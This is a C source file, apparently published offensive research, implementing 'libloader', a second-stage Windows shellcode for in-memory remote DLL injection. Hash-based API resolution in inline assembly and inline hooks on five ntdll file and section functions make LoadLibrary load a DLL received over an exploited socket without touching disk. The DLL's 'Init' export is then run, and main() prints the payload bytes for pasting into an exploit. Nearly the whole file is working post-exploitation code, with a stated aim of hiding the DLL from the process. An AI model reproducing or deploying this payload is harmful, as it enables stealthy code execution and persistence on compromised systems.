

/*
 * libloader -- In-Memory Remote Library Injection shellcode
 * Jarkko Turkulainen <jt[at]klake.org>
 *
 * Platforms: Windows NT4/2000/XP/2003
 *
 * Compile: cl libloader.c
 *
 *
 * How to use:
 *
 * See main() for example. To make this work in real-world exploit, you
 * must manually hack the exploit code. For quick demonstration, run
 * against the demo server "srv.exe".
 *
 * NOTE: the loaded library MUST export a function named "Init" !!!
 * That is the actual code you must write to make this stuff useful :-)
 * See example.c to get the idea.
 *
 *
 * TODO:
 *
 * - Hide the DLL from PEB
 *
 *
 * Credits:
 *
 * - skape for ideas, nologin, Metasploit
 *
 *
 */




#include <winsock2.h>
#include <sys/types.h>
#include <sys/stat.h>

#include "libloader.h"

#pragma comment(lib, "ws2_32.lib")

#pragma warning(disable: 4068)


/*
 * 2nd stage loader
 *
 * loader2_start is a bootstrapper for the actual shellcode. It loads all the
 * libraries and resolves function VMAs. All information is stored in structure
 * SHELLCODE_CTX which acts like import and data section for rest of the program.
 *
 */

void loader2_start() {
	SHELLCODE_CTX	ctx;
	char winsock[10];

	__asm {
		jmp  callback			; Jump to callback address

	startup:
		jmp  continue			; Continue execution

	callback:
		call startup			; Call startup

	continue:
		pop  ebx			; Absolute address of continue
		sub  ebx, 0x15			; Adjust the address to point to 
						; shellcode_start()
						; Note that this value is not
						; correct if the code above is modified
						; somehow (or if the compiler for some 
						; reason generates different code..)
		mov  ctx.offset, ebx		; Save offset
		mov  ctx.sd, edi		; Save the file descriptor
		jmp  resolve_vmas		; Skip general functions

#include "generic.c"

	resolve_vmas:
						; kernel32.dll routines

		call find_kernel32		; Find kernel32 base address
		mov  ebx, eax			; Save the handle in ebx
	
		push HASH_LoadLibraryA		; Push function hash
		push ebx			; Push base handle
		call find_function		; Find function
		add  esp, 8			; Fix stack
		mov  ctx.LoadLibrary, eax	; Save the VMA

		push HASH_GetProcAddress	; Here we go again..
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.GetProcAddress, eax
		push HASH_ExitProcess
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.ExitProcess, eax
		push HASH_VirtualAlloc
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.VirtualAlloc, eax
		push HASH_VirtualFree
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.VirtualFree, eax
		push HASH_VirtualQuery
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.VirtualQuery, eax
		push HASH_VirtualProtect
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.VirtualProtect, eax
		push HASH_FlushInstructionCache
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.FlushInstructionCache, eax
		push HASH_WriteProcessMemory
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.WriteProcessMemory, eax
						; ntdll.dll routines
		xor  eax, eax
		mov  al, 0x6c
		push eax			; Push "l\x00\x00\x00"
		push 0x6c64746e			; Push "ntdl"
		push esp                        ; Push address of "ntdll\x00\x00\x00"
		call ctx.LoadLibrary		; Get module handle
		mov  ebx, eax			; Save the handle in ebx

		push HASH_NtOpenSection		; Push function hash
		push ebx			; Push base handle
		call find_function		; Find function
		add  esp, 8			; Fix stack
		mov  ctx.NtOpenSection, eax	; Save function VMA

		
		push HASH_NtQueryAttributesFile	; Here we go again..
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.NtQueryAttributesFile, eax
		push HASH_NtOpenFile
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.NtOpenFile, eax
		push HASH_NtCreateSection
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.NtCreateSection, eax
		push HASH_NtMapViewOfSection
		push ebx
		call find_function
		add  esp, 8
		mov  ctx.NtMapViewOfSection, eax
	}

	winsock[0] = 'w';
	winsock[1] = 's';
	winsock[2] = '2';
	winsock[3] = '_';
	winsock[4] = '3';
	winsock[5] = '2';
	winsock[6] = 0;

	ctx.LoadLibrary(winsock);

	__asm
	{
		mov  edx, eax

		push HASH_recv 
		push edx
		call find_function
		add  esp, 8
		mov  ctx.recv, eax
	}

	/* Now call the shellcode main function */

	loader2_main(&ctx);
}


/* 
 * This is where the context pointer is saved.
 * It is (almost) static offset from find_ctx so it is easily determined at run-time.
 * To be exact, the offset is dependent of compiler version, but the compiler knows
 * relative offset between these functions. Using that information with the absolute
 * address of find_ctx, the context pointer can be found. See find_ctx().
 *
 */
int __declspec(naked) ctx_data() {
	__asm {
		_emit 0xff
		_emit 0xff
		_emit 0xff
		_emit 0xff
	}

}

/*
 * find_ctx is used for finding the shellcode context in memory. It is 
 * mandatory step because the hook functions have no glue about the context 
 * (they are called from ntdll.dll)
 *
 */
int __declspec(naked) find_ctx() {
	__asm {
		push ebp
		mov  ebp, esp
		call getaddress			; Get our address

	getaddress:
		pop  ecx			; Save address in ebx
		sub  ecx, 8			; Adjust to point to find_ctx
		mov  eax, offset find_ctx	; Calculate relative offset
		sub  eax, offset ctx_data
		sub  ecx, eax			; Adjust to point to ctx_data
		mov  eax, [ecx]			; Return contents
		pop  ebp
		ret
	}
}


/*
 * Find library name from given unicode string
 *
 */
int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) {
	int i, j;

	for (i = 0; i < str->Length; i++) {
		for (j = 0; j < ctx->liblen; j++) {
			if (str->Buffer[i + j] != ctx->libname[j])
				break;
		}

		/* Match */
		if (j == ctx->liblen) {
			return 0;
		}
	}
	return 1;
}


/* NtOpenSection hook */

NTSTATUS NTAPI m_NtOpenSection(
	PHANDLE SectionHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes) {

	SHELLCODE_CTX	*ctx;
	
	/* Find our context */
	ctx = (SHELLCODE_CTX *) find_ctx();

	if (!find_string(ctx, ObjectAttributes->ObjectName)) {
		*SectionHandle = (PHANDLE)ctx->mapped_address;
		return STATUS_SUCCESS;

	}
	return ctx->p_NtOpenSection(SectionHandle, DesiredAccess, 
		ObjectAttributes);
	
}


/* NtQueryAttributesFile hook */

NTSTATUS NTAPI m_NtQueryAttributesFile(
	POBJECT_ATTRIBUTES ObjectAttributes,
	PFILE_BASIC_INFORMATION FileAttributes) {

	SHELLCODE_CTX	*ctx;

	/* Find our context */
	ctx = (SHELLCODE_CTX *) find_ctx();

	if (!find_string(ctx, ObjectAttributes->ObjectName)) {

		/*
		 * struct PFILE_BASIC_INFORMATION must be actually filled
		 * with something sane, otherwise it might break something.
		 * The values are defined in libloader.h
		 *
		 */
		FileAttributes->CreationTime.LowPart = LOW_TIME_1;
		FileAttributes->CreationTime.HighPart = HIGH_TIME;
		FileAttributes->LastAccessTime.LowPart = LOW_TIME_2;
		FileAttributes->LastAccessTime.HighPart = HIGH_TIME;
		FileAttributes->LastWriteTime.LowPart = LOW_TIME_1;
		FileAttributes->LastWriteTime.HighPart = HIGH_TIME;
		FileAttributes->ChangeTime.LowPart = LOW_TIME_1;
		FileAttributes->ChangeTime.HighPart = HIGH_TIME;
		FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL; 
		return STATUS_SUCCESS;
	}
	
	return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes);
	
}

/* NtOpenFile hook */

void NTAPI m_NtOpenFile(
	PHANDLE FileHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PIO_STATUS_BLOCK IoStatusBlock,
	ULONG ShareAccess,
	ULONG OpenOptions) {
	
	SHELLCODE_CTX	*ctx;

	/* Find our context */
	ctx = (SHELLCODE_CTX *) find_ctx();

	if (!find_string(ctx, ObjectAttributes->ObjectName)) {
		*FileHandle = (PVOID)ctx->mapped_address;
		return;
	}

	ctx->p_NtOpenFile(
		FileHandle,
		DesiredAccess,
		ObjectAttributes,
		IoStatusBlock,
		ShareAccess,
		OpenOptions);
	return;
	
}

/* NtCreateSection hook */

NTSTATUS NTAPI m_NtCreateSection(
	PHANDLE SectionHandle, 
	ULONG DesiredAccess, 
	POBJECT_ATTRIBUTES ObjectAttributes,
	PLARGE_INTEGER MaximumSize,
	ULONG PageAttributes,
	ULONG SectionAttributes,
	HANDLE FileHandle) {

	SHELLCODE_CTX	*ctx;

	/* Find our context */
	ctx = (SHELLCODE_CTX *)find_ctx();

	if (FileHandle == (HANDLE)ctx->mapped_address) {
		*SectionHandle = (PVOID)ctx->mapped_address;
		return STATUS_SUCCESS;	
	}

	return ctx->p_NtCreateSection(
		SectionHandle, 
		DesiredAccess, 
		ObjectAttributes,
		MaximumSize,
		PageAttributes,
		SectionAttributes,
		FileHandle);

}


/* NtMapViewOfSection hook */

NTSTATUS NTAPI m_NtMapViewOfSection(
	HANDLE SectionHandle,
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	ULONG CommitSize,
	PLARGE_INTEGER SectionOffset,
	PULONG ViewSize,
	SECTION_INHERIT InheritDisposition,
	ULONG AllocationType,
	ULONG Protect) {
	
	SHELLCODE_CTX	*ctx;

	/* Find our context */
	ctx = (SHELLCODE_CTX *)find_ctx();

	if (SectionHandle == (HANDLE)ctx->mapped_address) {
		*BaseAddress = (PVOID)ctx->mapped_address;

		/* We assume that the image must be relocated */
		return STATUS_IMAGE_NOT_AT_BASE;
		
	}

	return ctx->p_NtMapViewOfSection(
		SectionHandle,
		ProcessHandle,
		BaseAddress,
		ZeroBits,
		CommitSize,
		SectionOffset,
		ViewSize,
		InheritDisposition,
		AllocationType,
		Protect);
}


/* Patch given function */

void patch_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub, 
		unsigned char *hook) {
	DWORD				protect;
	ULONG 				bytes, written;
	MEMORY_BASIC_INFORMATION	mbi_thunk;
	

	/*
	 * Most native NT functions begin with stub like this:
	 *
	 * 00000000  B82B000000        mov eax,0x2b         ; syscall
	 * 00000005  8D542404          lea edx,[esp+0x4]    ; arguments
	 * 00000009  CD2E              int 0x2e             ; interrupt
	 *
	 * In offset 0, the actual system call is saved in eax. Syscall
	 * is 32 bit number (!) so we can assume 5 bytes of preamble size
	 * for each function.. If there's need to hook other functions,
	 * a complete disassembler is needed for preamble size counting.
	 *
	 */
	bytes = 5;

	/* Create the stub */
	ctx->WriteProcessMemory((HANDLE)-1, stub, (char *)address, 
		bytes, &written);
	*(PBYTE)(stub + bytes) = 0xE9;
	*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5);


	/* Patch original function */

	/* Fix protection */
	ctx->VirtualQuery((char *)address, &mbi_thunk, 
		sizeof(MEMORY_BASIC_INFORMATION));
	ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, 
		PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
		
	/* Insert jump */
	*(PBYTE)address = 0xE9;
	*(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5);


	/* Restore protection */
	ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, 
		mbi_thunk.Protect, &protect);
	ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
		mbi_thunk.RegionSize);

}

/* Install hooks, fix addresses */

void install_hooks(SHELLCODE_CTX *ctx) {

	/* NtMapViewOfSection */

	/* Patch */
	patch_function(ctx, ctx->NtMapViewOfSection, 
		ctx->s_NtMapViewOfSection, 
		(unsigned char *)((DWORD)m_NtMapViewOfSection -
			(DWORD)loader2_start) + ctx->offset);

	/* Copy pointer */
	ctx->p_NtMapViewOfSection = 
		(f_NtMapViewOfSection)ctx->s_NtMapViewOfSection;

	/* NtQueryAttributesFile */
	patch_function(ctx, ctx->NtQueryAttributesFile,
		 ctx->s_NtQueryAttributesFile, 
		(unsigned char *)((DWORD)m_NtQueryAttributesFile - 
			(DWORD)loader2_start) + ctx->offset);
	ctx->p_NtQueryAttributesFile = 
		(f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile;

	/* NtOpenFile */
	patch_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile, 
		(unsigned char *)((DWORD)m_NtOpenFile - 
			(DWORD)loader2_start) + ctx->offset);
	ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile;

	/* NtCreateSection */
	patch_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection, 
		(unsigned char *)((DWORD)m_NtCreateSection - 
			(DWORD)loader2_start) + ctx->offset);
	ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection;
	
	
	/* NtOpenSection */
	patch_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection, 
		(unsigned char *)((DWORD)m_NtOpenSection - 
			(DWORD)loader2_start) + ctx->offset);
	ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection;
	
}

/* Restore given function */

void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) {
	DWORD				protect;
	ULONG 				bytes, written;
	MEMORY_BASIC_INFORMATION	mbi_thunk;

	bytes = 5;

	/* Patch original function */

	/* Fix protection */
	ctx->VirtualQuery((char *)address, &mbi_thunk, 
		sizeof(MEMORY_BASIC_INFORMATION));
	ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, 
		PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
		
	/* Copy bytes back to function */
	ctx->WriteProcessMemory((HANDLE)-1, (char *)address, stub,
		bytes, &written);

	/* Restore protection */
	ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, 
		mbi_thunk.Protect, &protect);
	ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
		mbi_thunk.RegionSize);

}

/* Remove hooks */

void remove_hooks(SHELLCODE_CTX *ctx) {

	/* NtMapViewOfSection */
	restore_function(ctx, ctx->NtMapViewOfSection, 
		ctx->s_NtMapViewOfSection);
		
	/* NtQueryAttributesFile */
	restore_function(ctx, ctx->NtQueryAttributesFile,
		 ctx->s_NtQueryAttributesFile);

	/* NtOpenFile */
	restore_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile);

	/* NtCreateSection */
	restore_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection);
	
	
	/* NtOpenSection */
	restore_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection);
	

}

/* Map file in memory as section */

void map_file(SHELLCODE_CTX *ctx) {
	PIMAGE_NT_HEADERS 	nt;
	PIMAGE_DOS_HEADER 	dos;
	PIMAGE_SECTION_HEADER	sect;
	int			i;
	
	dos = (PIMAGE_DOS_HEADER)ctx->file_address;
	nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew);

	/* 
	 * Allocate space for the mapping
	 * First, try to map the file at ImageBase
	 *
	 */
	ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
		nt->OptionalHeader.SizeOfImage,
		MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	 

	/* No success, let the system decide..  */
	if (ctx->mapped_address == 0) {
		ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)NULL,
			nt->OptionalHeader.SizeOfImage,
			MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	}

	/* Write headers */
	ctx->WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address, 
		(LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0);

	/* Write sections */
	sect = IMAGE_FIRST_SECTION(nt);
	for (i = 0; i < nt->FileHeader.NumberOfSections; i++) {
		ctx->WriteProcessMemory((HANDLE)-1,
			(PCHAR)ctx->mapped_address + sect[i].VirtualAddress,
			(PCHAR)ctx->file_address + sect[i].PointerToRawData,
			sect[i].SizeOfRawData, 0);
	}

}


/* 
 * loader2_main - shellcode main function
 *
 * Yes - written in C. Why?
 *
 * - It is 2nd stage, there is not need for optimizing
 * - Writing complex programs in pure assembly takes time
 * - C shellcode is extremely cool
 * - I wanted to find out how it's done
 * - Oh, I almost forgot, it's cool
 *
 */

int loader2_main(SHELLCODE_CTX *ctx) {
	DWORD		length, base, function;
	char		name[12];
	int		i, bytes, read, left;

	/* dll entry point */
	name[0] = 'I';
	name[1] = 'n';
	name[2] = 'i';
	name[3] = 't';
	name[4] = '\0';

	/* Read the first 4 bytes for file length */
	bytes = ctx->recv(ctx->sd, (char *)&length, 4, 0);
	if (bytes <= 0) {
		ctx->ExitProcess(1);
	}

	/* Allocate space for data */
	ctx->file_address = (DWORD)ctx->VirtualAlloc(NULL, length, 
		MEM_COMMIT, PAGE_READWRITE);
	if (ctx->file_address == 0) {
		ctx->ExitProcess(1);
	}

	/* Read file */
	for (bytes = 0, read = 0, left = length; left > 0; 
	     left -= bytes, read += bytes) {
		bytes = ctx->recv(ctx->sd, (char *)(ctx->file_address + read), 
			left, 0);
		if (bytes < 0) {
			break;
		}
	}

	/* Set the library name */
	for (i = 0; *(char *)(ctx->file_address + i); i++)
		ctx->libname[i] = *(char *)(ctx->file_address + i);
	ctx->libname[i] = 0;
	ctx->liblen     = i;

	/* Update the file address offset */
	ctx->file_address += i + 1;

	map_file(ctx);

	/* Write context pointer */
	*(DWORD *)(((DWORD)ctx_data - (DWORD)loader2_start) + ctx->offset) = 
		*(DWORD *)&ctx;

	install_hooks(ctx);

	if ((base = ctx->LoadLibrary(ctx->libname)) == 0) {
		
		/* Something is terribly wrong.. */
		ctx->ExitProcess(1);
	}

	remove_hooks(ctx);

	/* Call entry point, if it exists */
	if ((function = (DWORD)ctx->GetProcAddress((HMODULE)base, 
			(LPCTSTR)name)) != 0) {

		((int(*)()) (function))(ctx->sd);
	} 

	ctx->VirtualFree((LPVOID)((char *)ctx->file_address - ctx->liblen - 1), 
	      0, MEM_RELEASE);

	ctx->ExitProcess(0);

	ctx = NULL;

	/* Just to keep compiler happy */
	return(0);

}



/* Just a stub for counting the shellcode size */

int __declspec(naked) loader2_end() {
	__asm ret

}



/* 
 * Simple program for demonstration with "srv.exe"
 *
 * Example: libloader 10.0.0.1 1111 example.dll
 *
 */

int main(int argc, char **argv) {
	int 			sd, c, i;
	char			*buf, databuf[1024];
	struct hostent 		*hp;
	struct sockaddr_in 	adr, local;
	struct stat             sstat;
	FILE			*fp;
	WSADATA 		wsa_data;
	unsigned char 		*start1, *end1, *start2, *end2;
	unsigned long		length1, length2;


	start2 = (unsigned char *)loader2_start;
	end2   = (unsigned char *)loader2_end;
	length2 = end2 - start2;

	/* 
	 * XXXXXXXXXXXX Insert your exploit code here... XXXXXXXXXXX
	 *
	 * If this were a real world exploit, the actual exploit magic
	 * should be done at this point. As a proof-of-concept, we just
	 * send the 1st loader to host which jumps to code and executes
	 * it (assuming that there's the example server "srv.exe").
	 *
	 */


	fprintf(stderr, "total size is %lu\n", length2);
	printf("\"");
	for (i = 0; i < length2; i++)
	{
		printf("\\x%02x", start2[i] & 0xff);

		if (i > 0 && i % 20 == 0)
			printf("\" .\n\"");
	}
	printf("\"\n");

	exit(0);
}

